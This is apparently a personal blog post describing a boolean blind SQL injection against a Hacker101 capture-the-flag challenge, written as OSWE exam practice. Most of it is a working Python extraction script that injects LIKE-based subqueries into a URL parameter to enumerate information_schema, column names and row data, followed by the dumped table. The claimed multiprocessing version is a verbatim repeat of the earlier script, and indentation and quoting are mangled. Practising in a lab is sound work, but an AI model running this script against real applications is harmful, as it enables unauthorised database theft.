I am trying to figure out some sql injection problem without using sqlmap, since sqlmap is not allowed in OSWE exam. Meanwhile, I am also working on Hacker101 so I choose one sql injection problem and use it for the blind sql injection. The problem I selected is: Magical Image Gallery http://35.227.24.107/355c1859dc Things are pretty easy at first. I use python3 requests module and string.printable to enumerate db names and table names. The code is shown below:

import requests
import string
import sys

#result = requests.get(“http://35.227.24.107/355c1859dc/fetch?id=1")
#print(result.status_code == 200)
#dbname level5
#two tables: album, photos

url = “http://35.227.24.107/355c1859dc/fetch?id=1 [injection]“
db_name = “”
string_table = string.printable
string_table.rstrip(“%”)

current_str = “”
while True:
for x in string_table:
test_str = current_str + x
sys.stdout.write(“Testing: %s\r”%test_str)
sys.stdout.flush()
#response = requests.get(url.replace(“[injection]“, “AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE ‘%s%%’”%(test_str)))
response = requests.get(url.replace(“[injection]“, “AND (SELECT * FROM album LIKE ‘%s%%’”%(test_str)))
if response.status_code == 200:
print(“Confirmed DB Name: “, test_str)
current_str = test_str
break
if x == string_table[-1]:
break

print(“Confirmed Final DB Name: “, current_str)

Then I encounter some problems to dump the db from the database. The main reason is that I’m not familiar enough with mysql sentences. To get there, I need to retrieve the information slowly. Get the column numbers through (Note that LIKE can be replaced to =):

response = requests.get(url.replace(“[injection]“, “AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’) LIKE ‘%s%%’”%(test_str)))

Get the column names:

response = requests.get(url.replace(“[injection]“, “AND (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’ LIMIT 0,1) LIKE ‘%s%%’”%(test_str)))

So the pseudo-code of this whole flow can be written as:

get table name (manually)
get column number, row number -> column_count, row_count
for i in range(1, column_count + 1):
get column names -> column_names

for i in range (1, row_count + 1):
for j in column_names:
select data in the cell (j, i) -> store to list

Get the full flow of the code to:

import requests
import string
import sys
import texttable as tt
tab = tt.Texttable()

#result = requests.get(“http://35.227.24.107/355c1859dc/fetch?id=1")
#Column number: response = requests.get(url.replace(“[injection]“, “AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’) LIKE ‘%s%%’”%(test_str)))

#print(result.status_code == 200)
#dbname level5
#two tables: album, photos

url = “http://35.227.24.107/355c1859dc/fetch?id=1 [injection]“

db_name = “”
#string_table = string.printable
string_table_full =’0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!”#$&\‘()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c’
#to optimize the speed:
string_table = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’

def check_output(url, sentence):
current_str = “”
while True:
for x in string_table:
test_str = current_str + x
sys.stdout.write(“Testing: %s\r”%test_str)
sys.stdout.flush()
replaced = sentence.replace(‘[test_string]‘,test_str)
#response = requests.get(url.replace(“[injection]“, “AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE ‘%s%%’”%(test_str)))
response = requests.get(url.replace(“[injection]“, replaced))
if response.status_code == 200:
print(“Confirmed output: “, test_str)
current_str = test_str
break
if x == string_table[-1]:
break

print("Confirmed Final Result: ", current\_str)
return current\_str

#####################################################

step 1, get column number:

column_count = int(check_output(url, “AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’) LIKE ‘[test_string]%%’”))
print(“Column number is: “, column_count)
#column_count = 4

step 2, get row number:

row_count = int(check_output(url, “AND (SELECT COUNT(*) FROM photos) LIKE ‘[test_string]%%’”))
print(“Row number is: “, row_count)
#row_count = 3

step 3, get column names:

column_names = []
for i in range(0, column_count):
column_name = str(check_output(url, “AND (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’ LIMIT %d, 1) LIKE ‘[test_string]%%’”%(i)))
print(“Column name: “, column_name)
column_names.append(column_name)
print(“Confirmed column names: “, column_names)

lastly, get the table:

print(“Getting the full list”)
full_list = []
full_list.append(column_names)
for i in range(0, row_count):
new_row = []
for j in column_names:
cell_content = str(check_output(url, “AND (SELECT %s FROM photos LIMIT %d, 1) LIKE ‘[test_string]%%’”%(j, i)))
print(“Content_info: “, cell_content)
new_row.append(cell_content)

full\_list.append(new\_row)

tab = tt.Texttable()
for row in full_list:
tab.add_row(row)
s = tab.draw()
print(s)

The result looks pretty good:

+—-+———–+—————————————————-+——–+
| id | title | filename | parent |
+—-+———–+—————————————————-+——–+
| 1 | utterly | files | 1 |
+—-+———–+—————————————————-+——–+
| 2 | purrfect | files | 1 |
+—-+———–+—————————————————-+——–+
| 3 | invisible | a4bd6873920350beb5a90aebf84a16adda42d96cbc9808efdf | 1 |
| | | 4c166987b0f40b | |
+—-+———–+—————————————————-+——–+

Yet this is so fucking slow… Let’s optimize its performance through multiprocessing:

import requests
import string
import sys
import texttable as tt
tab = tt.Texttable()

#result = requests.get(“http://35.227.24.107/355c1859dc/fetch?id=1")
#Column number: response = requests.get(url.replace(“[injection]“, “AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’) LIKE ‘%s%%’”%(test_str)))

#print(result.status_code == 200)
#dbname level5
#two tables: album, photos

url = “http://35.227.24.107/355c1859dc/fetch?id=1 [injection]“

db_name = “”
#string_table = string.printable
string_table_full =’0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!”#$&\‘()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c’
#to optimize the speed:
string_table = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’

def check_output(url, sentence):
current_str = “”
while True:
for x in string_table:
test_str = current_str + x
sys.stdout.write(“Testing: %s\r”%test_str)
sys.stdout.flush()
replaced = sentence.replace(‘[test_string]‘,test_str)
#response = requests.get(url.replace(“[injection]“, “AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE ‘%s%%’”%(test_str)))
response = requests.get(url.replace(“[injection]“, replaced))
if response.status_code == 200:
print(“Confirmed output: “, test_str)
current_str = test_str
break
if x == string_table[-1]:
break

print("Confirmed Final Result: ", current\_str)
return current\_str

#####################################################

step 1, get column number:

column_count = int(check_output(url, “AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’) LIKE ‘[test_string]%%’”))
print(“Column number is: “, column_count)
#column_count = 4

step 2, get row number:

row_count = int(check_output(url, “AND (SELECT COUNT(*) FROM photos) LIKE ‘[test_string]%%’”))
print(“Row number is: “, row_count)
#row_count = 3

step 3, get column names:

column_names = []
for i in range(0, column_count):
column_name = str(check_output(url, “AND (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’photos’ LIMIT %d, 1) LIKE ‘[test_string]%%’”%(i)))
print(“Column name: “, column_name)
column_names.append(column_name)
print(“Confirmed column names: “, column_names)

lastly, get the table:

print(“Getting the full list”)
full_list = []
full_list.append(column_names)
for i in range(0, row_count):
new_row = []
for j in column_names:
cell_content = str(check_output(url, “AND (SELECT %s FROM photos LIMIT %d, 1) LIKE ‘[test_string]%%’”%(j, i)))
print(“Content_info: “, cell_content)
new_row.append(cell_content)

full\_list.append(new\_row)

tab = tt.Texttable()
for row in full_list:
tab.add_row(row)
s = tab.draw()
print(s)

The above code also suffers from some connection issue introduced by multi-processing, but at least I learned how to handle this blind sql injection. In the next blog, I will try to do some time based injection (which is even slower but good to try it out).